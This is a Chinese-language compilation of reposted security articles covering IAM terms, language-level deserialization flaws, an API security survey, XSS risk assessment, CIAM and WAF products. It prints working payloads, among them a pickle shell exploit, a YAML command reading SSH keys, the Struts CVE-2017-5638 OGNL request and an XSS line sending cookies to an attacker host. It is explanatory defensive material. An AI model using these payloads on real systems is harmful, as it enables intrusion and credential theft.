用于确定哪些用户可以访问哪些资源（例如，文件、网络、应用程序、网页上的字段）的策略。目前使用的主要访问管理解决方案是用户访问列表、基于角色的访问控制（RBAC）、基于属性的访问控制和基于策略的访问控制。

2.访问治理

访问管理不仅包括设置策略，还包括增加可见性，以查看每个用户可以访问哪些资源，以确保访问权限实际上有效。此外，正如身份管理协会所解释的，访问治理关注的是“以一致、高效和有效的方式管理风险并确保合规性”

3.用户访问列表

UAL是指定哪些用户可以访问哪些资源（例如，文件、网络、应用程序、网页上的字段）的列表。需要每个资源的用户列表和/或每个用户的资源列表。

4.授权

对身份已被验证的用户访问资源（例如，文件、网络、应用程序、网页上的字段等）的权限。

5.认证

验证某人是他们自称的人。通常需要用户名和密码；可能需要生物特征或问题的正确答案。不授权访问任何资源，只验证身份。

6.属性

与确定访问权限相关的用户或用户环境的特征（例如，作业、位置、时间）。用于ABAC和PBAC。

7.RBAC（基于角色的访问控制）

授权解决方案，其中每个资源（例如，文件、网络、应用程序、网页上的字段）都有特定权限创建角色，并且用户与一个或多个角色相匹配。由于RBAC将用户群体划分为角色，并将所有访问权限仅基于这些角色，因此RBAC的授权被称为“粗粒度”，而不是ABAC和PBAC允许的“细粒度”访问控制。

8.ABAC（基于属性的访问控制）

授权解决方案，其中用户在公司中的地位只是决定其访问权限的一个因素；其他属性可以是用户位置和时间。ABAC解决方案通常使用布尔逻辑和XACML。由于ABAC支持基于多个因素做出决策，因此ABAC是一种“细粒度”的授权方法。

9.PBAC（基于策略的访问控制）

授权解决方案，其中角色和属性与逻辑相结合，以创建灵活的动态控制策略。与ABAC一样，它使用许多属性来确定访问权限，因此它还提供“细粒度”访问控制。PBAC被设计为支持各种访问设备，并且通常被认为是最灵活的授权解决方案。

10.细粒度授权

具有高度特异性的授权方法，其中访问权限可能因运行时的条件而异。例如，细粒度授权解决方案可能会授予在某个地区从事某个项目的销售人员在工作时间通过安全网络访问特定文件的权限，但在工作时间之后或通过不安全的WiFi访问。

11.XACML（可扩展访问控制标记语言）

用于定义细粒度、基于属性的访问控制策略的基于标准的语言。通常与ABAC解决方案一起使用，但也可以与RBAC一起使用。

12.OAUTH（开放授权）

开放标准，用于互联网用户授权一个网站或应用程序访问另一个网站上的信息，而无需传输第二个网站的密码。

13.角色爆炸

RBAC实现中的主要问题。当IAM解决方案管理许多相似但略有不同的角色时，会发生“角色爆炸”。例如，一家公司可以创建任意数量的角色，这些角色的访问权限仅对一个或两个文件夹不同。随着资源和角色数量的增加，维护时间和工作量将显著增加。

14.访问蔓延

用户在公司工作的时间越长，获得的权限就越多，因为他们在转换到新职位时不会失去以前的权限。例如，如果程序员成为一名销售人员而不必失去原有的权限，那么他们将获得新的权限。如果这是由于惯性而非设计造成的，则出现了“访问蔓延”。

15.EAM（外部授权管理）

针对企业系统的访问管理解决方案，它能够以更灵活的方式在整个企业中提供授权。鉴于IAM的复杂性，尤其是对于成长中的公司，难怪越来越多的商业领袖正在使用EAM为其公司创建授权解决方案。

16.零信任

将每个用户和每个访问请求视为潜在危险的网络安全框架。零信任解决方案使用信任引擎，根据存储的数据量化授予每个访问请求的风险。一个单独的策略引擎确定信任引擎返回的风险级别是否可接受，解决方案的执行组件执行该决定。

如果您像许多开发人员一样，则可以使用多种动态语言之一来编写应用程序。但是语言可以以未定义的方式进行交互，或者更糟糕的是，定义但令人惊讶的方式对应用程序安全性有严重影响。了解这些行为是保护您的应用免受恶意用户侵害的关键。

这些常用语言（Ruby，Java和Python）应该用于说明所有编程语言中存在的与安全相关的挑战，以及您可以采取哪些措施来解决这些问题。

Python：Don't get in a pickle

由于其简单性和强大的平衡，Python是顶级语言之一。此外，它的多功能性使得生态系统在许多不同的应用程序中蓬勃发展，从简单的工具到复杂的Web应用程序再到数据科学。

Python提供了一种称为“泡菜”的序列化机制。这些非常有用，因为它们很方便，人们已经将它们用于各种各样的事情，包括cookie值和auth令牌。以最终导致安全性受损的方式使用强大的机制也很诱人。

请注意服务器框架中的内容的近似值Twisted用于处理身份验证令牌：

 def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

令牌经过base64解码，解压缩，然后检查。但是，什么是防止恶意用户创建自己的pickle然后base64编码呢？没有。那是咸菜的危险;数据可能来自不受信任的来源。

漏洞利用可以像这样构建：

import cPickle
import subprocess
import base64
class RunBinSh(object):
  def __reduce__(self):
      return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))

这篇文章由Stripe的Nelson Elhage（这些代码片段的来源）在2011年的博客中介绍。 Django，可以说是最受欢迎的Python网页框架，在版本1.6之前的会话中有类似的pickle bug，这是在Twisted上发布博客两年后的事情！

在这些发现之后经常听到的口头禅是“不要使用泡菜！”有些人通过做更多的JSON和YAML做出反应，但是，再一次，你遇到了意想不到的问题。事实证明，YAML有一个很好的功能，许多开发人员都不知道，可以实例化本机对象类型。

请注意关于“其他架构”的官方规范的摘录：

以上推荐的模式都不排除使用任意显式标记。因此，用于特定编程语言的YAML处理器通常提供某种形式的本地标签，其直接映射到语言的本机数据结构（例如，！ruby / object：Set）。

这基本上是一个pickle提供的：语言本地数据结构。

因此，一行如下：

print(yaml.load(exploit)['user_input'])

可以通过包含诸如以下内容的字段值来妥协：

exploit = '''\
name: Boris Chen
user_input: !!python/object/apply:subprocess.check_output
args: [ cat ~/.ssh/id_rsa ]
kwds: {shell:true}
'''

对于寻找传递数据的简单方法的开发人员来说，这是完全出乎意料的，只是为了找出可以包含的可执行代码。如今，人们将使用yaml.safe_load（），但仍然有很多yaml.load（）正在进行中。注意安全。始终使用safe_load（）。并避免泡菜！

Ruby：可以被速度杀死

Ruby怎么样？它作为Web应用程序的语言也非常受欢迎，特别是由于Ruby on Rails。它在DevOps中也很有用，它是配置管理工具Chef的底层语言。

上述YAML问题也存在于Ruby-以及所有符合YAML的解析器中，无论语言如何。但还有更多。

您可能会认为，如果您使用带有Rails应用程序的XML，那么您就可以避免这种YAML愚蠢（并且可能更担心XXE）。但在2013年（CVE-2013-0156），人们意识到Rails允许通过属性type =“yaml”的任何元素在XML中嵌入YAML。

你可以猜到发生了什么：YAML的所有问题最终都是XML的问题。

问题超出了数据格式。 Ruby / Rails因其处理字符串的方式而开辟了其他可能性。从去年开始的一个优雅的漏洞转变为看起来像目录遍历的东西。 CVE-2016-0752影响了Rails 4.2.5.1之前的版本，并允许通过渲染进行文件遍历。能够在主机上抓取任意文件是危险的，但渲染实际上是对文件进行评估。

示例代码如下：

def show
  render params[:template]
end

因此，人们可以利用这种行为，而不仅仅是从机器上获取文件。一个坏的actor可以获得一个可以被评估到该机器上的文件中的可执行文件。最简单的方法是使服务器记录恶意负载。

攻击者可以通过使用包含参数值<％=`ls`％>的GET请求的错误URL请求“污染”日志文件来实现此目的。这将导致记录该表达式。使用此漏洞访问呈现的日志文件将导致能够在系统上运行任意命令 - 在这种情况下命令ls。

完整而优秀的描述在NVisium的博客上。

正如Brett Buerhaus去年发现的那样，Ruby本身也存在类似的风险。在AirBnB的网站上，由于Ruby能够进行字符串插值，他发现了一个漏洞。在Ruby中，字符串插值的工作原理如下：

name = "Ada"
puts "Hello, #{name}!"

因此，评估＃{}内的任何内容，包括Ruby的操作系统级别exec指令％x。因此＃{％x ['ls']}将在机器上执行ls，并欺骗服务器解释它将导致成功的妥协。

在这种情况下，AirBnB的代码解释了通过JSON传递给它的值。可以在此处找到完整描述，并说明在处理不受信任的数据时，语言的本机便利功能如何产生严重后果。

这些缺陷在高度动态的语言（如Ruby）中非常有害，后者用于快速应用程序开发。但是编译的语言呢？

Java：不要让它让你大吃一惊

Java是服务器端Web的古老语言。尽管从安全角度（与Python和Ruby相比）研究得最多，编译为字节码，并且从设计的早期开始就具有安全性，但它也遭受了以惊人的方式破坏应用程序的漏洞。

Equifax是经历历史上最严重的数据泄露之一的新闻。该漏洞已经宣布，是由于Apache Struts CVE-2017-5638中存在漏洞。 （可以说，Equifax的失败不仅仅是因为没有修补的漏洞，而是系统性的安全性失败，但这仍然是讨论的范围。）

问题在于，尽管Java和Apache Struts技术自大多数财富500强公司早期使用以来，简单而强大的功能可能会导致令人惊讶的漏洞。

这个特别的CVE在3月报道，我发现的最佳解释来自Gotham Digital Science（GDS）。在此次攻击中，攻击者发现在提供无效的多部分内容类型标头时，Struts将在创建错误消息的过程中返回错误消息。但是，Struts不只是返回错误消息;它一路上评估它！

该博客追溯了几种方法，但关键是：

MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);Where the author explains: "As it turns out, TextParseUtil's translateVariables method is a data sink for expression language evaluation ... it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}."

然后，获胜的漏洞利用有效载荷如下：

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0

就像Ruby和Python的情况一样，Java受到意外评估利用评估机制的用户定义数据的影响。在这种情况下，问题不是Java本身的一部分，而是在OGNL（对象图导航语言）中，这是一个用于实现Apache Struts的包。

从Apache Project网站：OGNL“是一种表达式语言，用于获取和设置Java对象的属性，以及其他附加功能，如列表投影和选择以及lambda表达式。... OGNL最初是一种在UI组件之间建立关联的方法和使用属性名称的控制器。“

这种无害的机制导致了通往灾难的关键一步。

Apache Struts今年报告了另外三个RCE（远程代码执行）漏洞，最近的漏洞与Equifax漏洞同时发布。

Java社区在2015年遭遇了一个主要的序列化错误，几乎影响了每一家财富500强公司，但当年还出现了许多其他漏洞。在一系列序列化漏洞中，我很高兴看到有关Mattias Kaiser利用序列化的这篇内容丰富的演讲。他的演示文稿还包括T3协议中的几个WebLogic漏洞，这是WebLogic独有的专有协议，自从我在BEA Systems工作期间就没有听说过。

由于已知XML具有与XXE相关的风险，并且YAML具有上面列出的已知风险，因此许多组织已将JSON标准化为一种安全的序列化方式。

但是JSON受这些漏洞影响，正如我上面介绍的AirBnB情况。今年，在DEF CON和Black Hat USA上，AlvaroMuñoz和Oleksandr Mirosh发表了一篇题为“星期五13日：JSON攻击”的精彩演讲，内容涉及使用JSON的漏洞，这些漏洞应该会破坏任何一种虚假的安全感。 Java或.NET。

你可以做什么

知道是成功的一半。所有语言都有可能导致意外评估不受信任数据的怪癖。这不仅来自语言本身，而且来自应用程序中的框架，以实现更快或更优雅的实现。

典型的应用程序可能有数百个第三方框架。这些提供了强大的功能，但存在可以打开应用程序本身的电源的风险。

鉴于这种情况，请牢记这些最佳做法：

1. 学习你的语言。 “Wat”谈话不仅具有娱乐性（令人沮丧），而且具有教育意义。
2. 了解你的框架。在使用框架的优雅表达逻辑中，框架实际上在做什么？
3. 使用静态代码分析器（如Brakeman for Ruby）来避免常见错误。
4. 随时了解包裹。使用工具检查哪些软件包存在漏洞，并尽快升级。一旦漏洞被公布，脚本小子就会被锁定并加载 - 扫描尽可能多的网站以查找这些漏洞。
5. 测试和检查。确保您拥有专业的笔测试人员来评估您的软件是否存在漏洞。
6. 设计时考虑到安全性。安全不能是事后的想法。系统的实施应该以安全为重点。
7. 让安全人员的工作，而不仅仅是他们的头衔中有“安全”的人。安全不仅仅是技术方面，而是事物如何完成的文化方面。

大多数人做了很多，如果不是全部，但仍然会发生妥协。为什么？因为分层防守投资不足。

分层你的防御

尽管我们采取了一切措施来阻止它们，但漏洞仍会发生。我们必须接受这一事实并采用深度防御方法，该方法结合了威胁的运行时监控和自动响应，以便在损坏或信息丢失之前阻止攻击。

纵深防御或分层防御只是拥有多个层，因此如果出现问题，您可以采用其他机制来缓解这种攻击。

许多公司依靠测试和扫描工具来确保它们没有漏洞。没有这样的保证是可能的。这些工具只提供预生产完成的单一防线。生产中的防御同样重要。

如果没有运行时防御，攻击者可以自由地利用有价值的数据，造成持久和灾难性的破坏。零日攻击在黑暗网络和国家演员不断购物。最好的方法是假设漏洞迟早会被利用。如果是这样，请确保您具有故障安全机制，以最大限度地减少恶意行为者可以实现的目标。

除了一些值得注意的例子 - 咳嗽，JavaScript，咳嗽语言的设计都考虑到了最不惊讶的原则。它们在不同程度上取得了成功，但还不足以消除遵循上述最佳实践的需要。

代码的强大功能可以帮助您构建有价值的系统，这也带来了羞辱性的危险，随着利用这些系统的激励措施不断增加，这些危险需要越来越多的警惕。

原文:https://techbeacon.com/security/how-programming-languages-can-hurt-your-applications-security

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

像很多人一样，任何有点搜索的人都可以轻松访问您的手机号码。想象一下，如果有人可以使用此号码和您的姓名并获得您的手机帐户，包括帐单，电子邮件地址和电话IMSI。或者也许有人入侵了您的某个社交帐户并访问了您的联系信息和所有照片？ T-Mobile和Instagram上的这些非常真实的场景都是由于应用程序编程接口（API）安全漏洞而发生的。要了解有关API使用的更多信息，Imperva委托One Poll研究250名IT经理安全专业人员的态度。
API为用户喜爱的交互式数字体验提供动力，是组织数字化转型的基础。但是，它们还为应用程序提供了一个窗口，该应用程序呈现出不断增长的网络安全风险。黑客喜欢API，因为它们提供了多种途径来访问公司的数据，并且可以以无意的方式一起使用，以启用利用Web和移动应用程序以及物联网设备的新攻击。
API安全调查显示，平均而言，公司管理着363种不同的API，而三分之二（69％）的组织正在向公众及其合作伙伴公开API。

如上所述，面向公众的API是一个关键的安全问题，因为它们是应用程序背后的敏感数据的直接向量。当被问及他们主要的API安全问题时，受访者表示他们最担心DDoS攻击和机器人，而24％的人表示他们最担心的是身份验证执行问题。

超过三分之二的公司对API安全性的处理方式与Web安全性不同，尽管IT安全性在78％的时间内由IT监督。百分之八十的组织使用公共云服务来保护其API背后的数据，大多数人使用API​​网关（63.2％）和Web应用防火墙（63.2％）的组合。

百分之八十的组织使用公共云服务来保护其API背后的数据，大多数人使用API​​网关（63.2％）和Web应用防火墙（63.2％）的组合

92％的IT专业人士认为DevSecOps是开发，安全和运营的结合，将在应用程序开发的未来发挥作用。这凸显了许多组织从软件开发的一开始就建立了安全性的愿望，而不是作为一种思想。

92％的IT专业人士认为DevSecOps是开发，安全和运营的结合，将在应用程序开发的未来发挥作用。
公司需要通过部署多层安全方法来关闭API风险带来的安全风险。要了解更多信息，请阅读“六种安全API方法”，并在此处阅读我们的完整调查结果。

原文：https://www.imperva.com/blog/survey-apis-growing-cybersecurity-risk/

本文：http://pub.intelligentx.net/survey-apis-growing-cybersecurity-risk

讨论：请加入知识星球或者小红圈【首席架构师圈】

组织对其资产执行某种级别的渗透测试是司空见惯的。通过渗透测试，有责任修复任何已发现的漏洞或提出接受风险的案例。

许多企业主似乎愿意忽略的一个漏洞是跨站点脚本（XSS），更具体地说是反映的有效载荷。我从人们那里听到的最常见的论点是，你必须欺骗某人提交JavaScript，他们很快就会忽略这个漏洞，好像没有其他因素在起作用。这已成为一种非常普遍的现象，特别是在bug-bounty程序中。

HackerOne等网站允许组织确定哪些漏洞有资格获得奖励。当我看到一个程序说它不接受XSS作为漏洞时，我不得不质疑是否存在被误解的风险，风险可以忽略不计，或者已经报告了漏洞的问题。

不幸的是，在许多情况下，这是一个被误解的风险问题。

这就是为什么您需要超越通常作为XSS攻击证据的“警报”，以及评估漏洞风险时应考虑的关键因素。最终，这应该使您能够评估组织的风险，并帮助指导您提出执行渗透测试的人员或团队的正确问题。

什么是漏洞？

对于那些不熟悉XSS的人来说，它是一种特定的代码注入形式，其中用户输入以JavaScript的形式由Web浏览器解释和执行。此漏洞有三种高级类型：反射，持久和基于DOM。

在反射XSS的情况下，用户输入反映在Web浏览器中，而不会保存到数据库中。当开发人员想要提供更多信息而不仅仅是“出错”时，我们会在错误消息中看到这种情况，并且还包括错误中的用户输入。

在持久性XSS的情况下，用户输入被保存到数据库中。每当有人在Web浏览器中查看保存的值时，都会导致代码执行。这些形式的XSS中的每一种都依赖于处理用户输入的服务器，但是没有正确地验证/清理值。

基于DOM的XSS完全依赖于客户端代码。如果您正在检查源代码，通常会看到引用“$ location.url”或“this.parameterName”。参数值可能来自第三方站点，也可能来自包含上一页参数的页面重定向。

这些示例中的每一个都将信息存储在Web浏览器的内存中。如果使用白名单对某些值进行了清理或验证，则JavaScript可能会使用这些值并导致用户输入执行。

向用户显示的详细错误导致JavaScript执行。

上图显示了反射XSS的示例。渗透测试人员使用的常见负载是：

<script>alert(1)</script>

不幸的是，这是许多渗透测试停止的地方，导致反应不足，“你可以弹出警报;那么什么？”

确定影响

您作为渗透测试人员的下一步应该是从开发角度确定我们必须使用的内容。一个常见的起点是网站上的其他漏洞。

例如，如果设置了会话cookie并且缺少HTTPOnly标志，我们可以使用一些代码向自己发送值：

<script>document.location='http://malicioussite.com/'+document.cookie;</script&gt;

获得会话令牌后，在本地设置值可以让我们访问用户的帐户。从不同的角度攻击网站，如果您有无限的空间可以使用，您可以制作一个提示输入用户名和密码的HTML表单。这需要一些编码经验。

您还可以使用SEToolkit克隆登录页面，然后使用下面的JavaScript将用户重定向到克隆页面并尝试欺骗他们向您发送用户名和密码。

<script>window.location.replace("http://ourMaliciousSite.com/login");</script>

每个示例都侧重于获取对用户帐户的访问权限，因为作为渗透测试人员，这通常会对我们的许多客户产生最大的影响。可以更改这些脚本示例以收集组织可能重视的任何形式的敏感信息。

虽然理论上这一切都很好，但你仍然必须以一种不易识别的方式提供有效载荷，或者不会引起人们注意我们正在做一些邪恶的事情。

确定可能性

在尝试评估XSS的风险时，您必须考虑许多不同的因素，第一个因素是有效负载的交付方式。

在存储XSS的情况下，这非常简单;我们的JavaScript被保存到数据库中，当在网页中填充值时，它就会执行。对于DOM和反射的有效负载，我们必须考虑如何将JavaScript传递给受害者，以便演示攻击者如何获取要解释的代码。

为此，我们想要列出一个场景：有一个用户表单要求用户在提交信息之前登录。此表单的POST参数之一易受反映的XSS影响。该网站还在有人浏览网站的整个过程中强制使用HTTPS，并且还强制执行HTTP严格传输安全性。

那么，作为攻击者，我们如何强制用户登录并提交我们的有效负载？

要回答这个问题，我们首先来看一下网站的配置方式。第一个障碍是POST参数。我们的首选方法之一是寻找跨站点请求伪造（CSRF），这将允许我们构建自己的网页，我们可以在其中制作POST请求。然后我们要做的就是让用户访问该页面并单击一个按钮。

同样，如果站点使用HTML5的跨源资源共享，我们可以检查站点是否信任任意域以向服务器发出请求。

突出显示的响应标头显示服务器接受来自任何域的请求（用*表示），并允许第三方域处理凭据。

搞清楚身份验证

因此，我们有将有效负载转换为POST参数的方法，但现在我们需要解决身份验证问题。我们需要确保用户已登录才能使我们的交付方式正常工作。

我们首先查看初次登录后用户会话的活动时间;通常会找到有效期为五天或更长的会话cookie。如果在关闭选项卡或窗口时会话未到期，那就更好了。这是更好的，因为现在我们不需要我们的受害者在我们交付有效载荷时使用网站，我们从他们最后一次登录后有五天发送给他们！

我们的下一步是以无缝方式包装所有这些，不会引起任何危险信号。如果网站具有内置聊天功能，可以与员工，甚至技术支持人员交谈，这可能是完美的。我们知道用户将登录，我们知道可能拥有比我们更多权限的人。

如果网站没有聊天功能，攻击者始终可以定位网站的“联系我们”页面。这些页面通常允许用户向内部员工提交自由格式问题。我们现在需要的只是一个小小的欺骗：我们向他们发送了一个链接到我们的站点，它将提交JavaScript，并且运气不好，他们不会注意到我们正在试图窃取他们的凭据。

如果我们正在窃取会话cookie，那么大部分内容都应该在受害者的互动很少的情况下发生。

把它放在一起

因此，回顾一下我们到目前为止所涵盖的内容：我们了解恶意行为者将对特定漏洞做些什么，以及完成任务所需的代码和技术知识。我们知道可以利用其他漏洞来实现所有这些，并且我们知道在构建漏洞利用时谁将成为目标。

综合所有这些因素，我们有一个很好的起点来确定XSS漏洞的实际整体风险。下一步是初步决定风险是否为组织所接受，或者您的组织是否不想接受风险并修复漏洞。

TL; DR

我们已经概述了可以组合使用的多个漏洞，以实现我们执行JavaScript XSS有效负载的最终目标。这通常被称为攻击链。我们使用的每个组织都以不同的方式配置其应用程序，并且可能针对如何利用漏洞具有不同的攻击链。

了解攻击的每个步骤，恶意行为者利用每个步骤的难度（或容易程度）以及目标访问或信息非常重要。所有这些都是帮助评估每个漏洞风险的关键。

即使存在旧的漏洞或可能无法直接危害服务器和敏感信息的漏洞，也值得采取退步并从整体上看待环境。如果对利用此漏洞需要什么或者恶意行为者试图通过XSS漏洞实现什么有任何疑问，请询问您的渗透测试人员可以帮助您获得这些答案。

原文：https://techbeacon.com/security/cross-site-scripting-how-go-beyond-alert

本文：http://pub.intelligentx.net/node/494

讨论：请加入知识星球或者小红圈【首席架构师圈】

作为一名 IT 架构师，我被要求向我的客户介绍统一 IT 组件的概念，该组件可以在分布式 IT 环境中管理用户的身份和权限。 问题在于，该组件不仅应处理在标准招聘流程中收集的员工数据，还应处理也是系统用户的合作伙伴、承包商和客户。

什么是 CIAM？

随着在线设备 (IoT) 的爆炸式增长以及客户对安全性和隐私的更高期望，公司必须想办法确保他们的客户可以随时通过任何设备安全、安全地使用他们的应用程序或服务。 这就是引入客户身份和访问管理 (CIAM) 的地方。 CIAM 允许对具有经过验证的身份、安全性和可扩展性的资源进行自适应、客户友好的访问。

Figure 1 CIAM pillars

CIAM 对于需要用户注册身份和创建帐户的面向公众的应用程序是必需的。 采用 CIAM 的趋势受到各种用例的推动，包括有针对性的营销以增加收入、对客户进行身份验证以启用单点登录、提供更好的用户体验以及法规遵从性。 CIAM 软件可帮助组织安全有效地管理客户数据，包括客户的身份和活动。

有了它，客户不再需要注册帐户或以其他方式提供信息来使用每个品牌接触点（例如应用程序、网站和帮助台门户）。 该软件需要提供整个客户群及其物联网环境的单一视图。 这样的解决方案鼓励客户更频繁地使用该软件，从而有可能更频繁地销售。

Figure 2 CIAM trends

CIAM 作为面向公众的 IAM

CIAM 作为更大的身份访问管理 (IAM) 概念的一个子集，专注于管理需要访问公司网站、门户网站和电子商务的客户的身份。 不是在公司的软件应用程序的每个实例中管理用户帐户，而是在集中式 CIAM 组件中管理身份，从而使身份的重用成为可能。 IAM 和 CIAM 的核心功能构建块和协议在身份验证、授权、目录服务和生命周期管理等领域保持不变。 另一方面，面向客户的 IAM 需要更灵活的身份验证和更简单的授权模型。 并非没有意义的是，更高的可扩展性要求和遵守法规的额外努力，例如管理欧盟用户隐私的 GDPR。

Figure 3 CIAM vs IAM features

CIAM 的主要功能还包括用于注册的自助服务、密码和同意管理、配置文件管理、报告和分析（即用于营销目的）、用于移动应用程序的 API 和 SDK，以及社交身份注册和登录。

全渠道和改善客户体验的想法导致开发可以利用新业务机会的新功能。自适应访问应识别动态标识符，例如客户的位置、设备、IP 地址和其他供应商收集的数据。例如，系统会提示使用新设备登录敏感应用程序的客户进行 MFA。另一方面，使用之前注册的移动设备登录的客户可以使用无密码身份验证，从而提高安全性和可用性。

Gartner 说

CIAM 和其他 IAM 部署之间的重叠继续增长。 CIAM 用例越来越需要身份生命周期等重要 IAM 要求，以对抗恶意攻击者。审计、报告和控制分析对于将 CIAM 部署与组织的安全和 DevOps 流程紧密联系起来也很重要。此外，围绕集成 SDK/API 和自助服务的常见 CIAM 要求现在正在用于现代应用程序开发的 IAM 解决方案，以及获得消费者体验期望的员工。 CIAM 和 IAM 的这种单一实施可以提供运营效率，并且还应该适应企业及其用户不断变化的需求。

Gartner 在其报告（2019 年）中提供了一系列供应商，这些供应商是面向客户的访问管理解决方案的领导者：Okta、Microsoft、Ping Identity、IBM。

是时候介绍 UMM

受到 UMM 在 Zoetis 案例研究中的鼓励，我决定回顾一下这个不太受欢迎的解决方案，涉及上面列出的市场领导者。我专注于大多数 CIAM 解决方案中引入的众所周知的常见功能。

根据上表中收集的分析结果，很明显 UMM 解决方案涵盖了所有常见功能。

用户管理模块是经过验证的（至少两个商业用例）、高度可用、易于自适应的 CIAM 解决方案，可以在云以及本地基础设施中交付。 允许安全有效地与旧系统集成。 拥有广泛的规则引擎可以缩短市场适应业务需求的时间。 乍一看，这并不比市场领导者提供的要少，甚至在某些情况下更多。 更重要的是，由于丰富的功能组合，它也可以被认为是IAM解决方案，可以带来很多好处。

原文：https://bluesoft.com/umm-just-use-it/

本文：https://jiagoushi.pro/node/1831

在一个每天都会出现新的网络攻击并出现的世界中，我们必须不断寻找和建立新的安全控制和保护机制。目前发现的最常见的网络安全威胁通常涉及数据泄露并且发生在应用程序级别，这就是许多NGFW和IPS / IDS系统无法抵御此类攻击的原因。此外，大多数通信 - 尤其是那些集成在Web应用程序中的通信 - 最近都被加密，这给这些设备带来了额外的问题。 Web应用程序防火墙，即WAF产品专为Web应用程序设计 - 它们在应用程序级别分析每个HTTP请求，并提供SSL / TLS流量的完全解密。

想更多地了解Web应用程序防火墙？观看视频（https://veracompadria.com/en/f5-networks-web-application-firewall-video/）！

WAF产品对于建立有效的多层保护至关重要。 Web应用程序防火墙背后的技术在过去几年中并没有真正改变。 WAF系统检查符合RFC文档的请求，并应用不同的攻击签名比较来确定请求是否有效。添加了新功能以通过WAF应用程序实现用户会话和行为监控，旨在防止潜在的暴力攻击和会话劫持。还添加了基于IP信誉的过滤和源，以阻止已知的攻击源，如僵尸网络，匿名者和类似威胁。大多数WAF产品仍然使用相对被动的技术和机制来检查客户端的能力有限或没有。

将WAF设备定位在网络通信应用环境中

经常弹出的一个问题是放置这种设备的位置？当然，有多个解决方案。用户和目标应用程序之间的通信路径通常具有可以设置WAF设备的多个点。但是，这并不意味着这些要点中的每一个都同样有利。理想情况下，WAF将在用于在任何给定环境中执行负载分配和流量优化的系统后面实施。这使其能够优化使用，性能和可靠性，同时为数据中心应用程序提供保护 - 特别是如果此类应用程序是公开可用的。

现代网络世界中的威胁景观

当今IT系统面临的大多数威胁都是自动化的，攻击者使用自动应用程序扫描来搜索新的漏洞。分布式拒绝服务（DDoS）攻击是完全自动化的，可以产生超过1Tbps的大量基于洪水的攻击。自动攻击很难被发现，因为它们通常被设计为模仿完全合法的流量。 CAPTCHA和类似技术用于检测此类攻击;但是，这些验证方法已被证明是不够的，并且经常会损害合法用户的体验。

还出现了全新的威胁，例如凭证填充。凭据填充是一种特殊类型的攻击，在先前的攻击期间被盗的数百万用户名和密码组合被用于获取对用户帐户的未授权访问。根据最近的威胁报告，窃取帐户凭据的利用是2017年最常见的攻击类型。凭证填充攻击非常难以检测，因为恶意流量不仅看起来合法，而且通常执行速度非常慢，以避免被检测为蛮力攻击。

恶意软件始终存在于所有在线环境中，用于利用浏览器漏洞和屏幕另一侧的目标用户。有许多方法可以分发和传播恶意软件 - 从电子邮件附件到社交网络和广告上共享的恶意链接。受恶意软件感染的计算机用于执行DDoS攻击，身份盗用和收集数据。除非客户机由经验丰富的IT团队监督，否则可用的检测和缓解方法是有限的。

最后，还有DDoS攻击。它们不仅仅是体积本质的。许多也是计算 - 用于消耗CPU和内存等资源 - 并且会降低应用程序或数据库服务器的性能。检测DDoS攻击可能相对困难，因为大多数此类攻击似乎是有效流量，通常与标准传入数据检查一致。

简而言之，这些攻击可以被忽视并绕过几乎所有传统的WAF解决方案，因为它们看似完全合法。由于越来越多的受损设备变得更加多样化，IP信誉数据库和供稿的功能也有所瘫痪：调制解调器，物联网设备......毫无疑问，我们需要更先进的WAF设备和技术来保护自己来自这些新兴威胁。

F5应用程序安全管理器 -  ASM

F5 ASM（应用程序安全管理器）是经过认证的Web应用程序防火墙（WAF），可通过网络应用程序层提供全面，主动的保护，免受一般和有针对性的攻击。与大多数其他Web应用程序防火墙一样，ASM使用一种积极的安全模型，在该模型下，在明确允许之前禁止所有流量。这种逻辑意味着ASM只允许有效，非恶意和授权的请求，并自动保护关键Web应用程序免受适当的攻击。 Application Security Manager可保护您的系统免受各种应用程序，基础架构和网络攻击，如跨站点脚本，SQL注入攻击，cookie /会话中毒，参数篡改，强制浏览，DOS攻击等等...... BIG-IP ASM保护应用程序基于全面的安全策略，无论它们位于传统，虚拟还是私有云环境中。 ASM评估威胁并防止其执行，提供可见性和高度灵活性，这有助于确保Web应用程序的平稳，可靠和安全性能。

图中显示了Web应用程序暴露于攻击的百分比，OWASP将其列为十大最常见的Web应用程序风险。 用户可以实施ASM来保护他们的系统免受所有此类风险的影响，并且还可以利用集成的安全规则和攻击模式来保护整个类别的HTTP和HTTPS威胁。 ASM是唯一的Web应用程序防火墙，它可以监视和记住它所保护的应用程序的正常行为，并可以防止所有偏离正常应用程序行为的攻击。

先进的WAF技术 -  F5高级WAF

F5最近在其产品组合中添加了一款名为“Advanced WAF”的产品，再次证实了为什么F5是WAF技术的市场领导者。 高级WAF提供了检测和缓解当今在线世界中存在的高级攻击所需的所有机制。

此安全解决方案的各种功能包括：

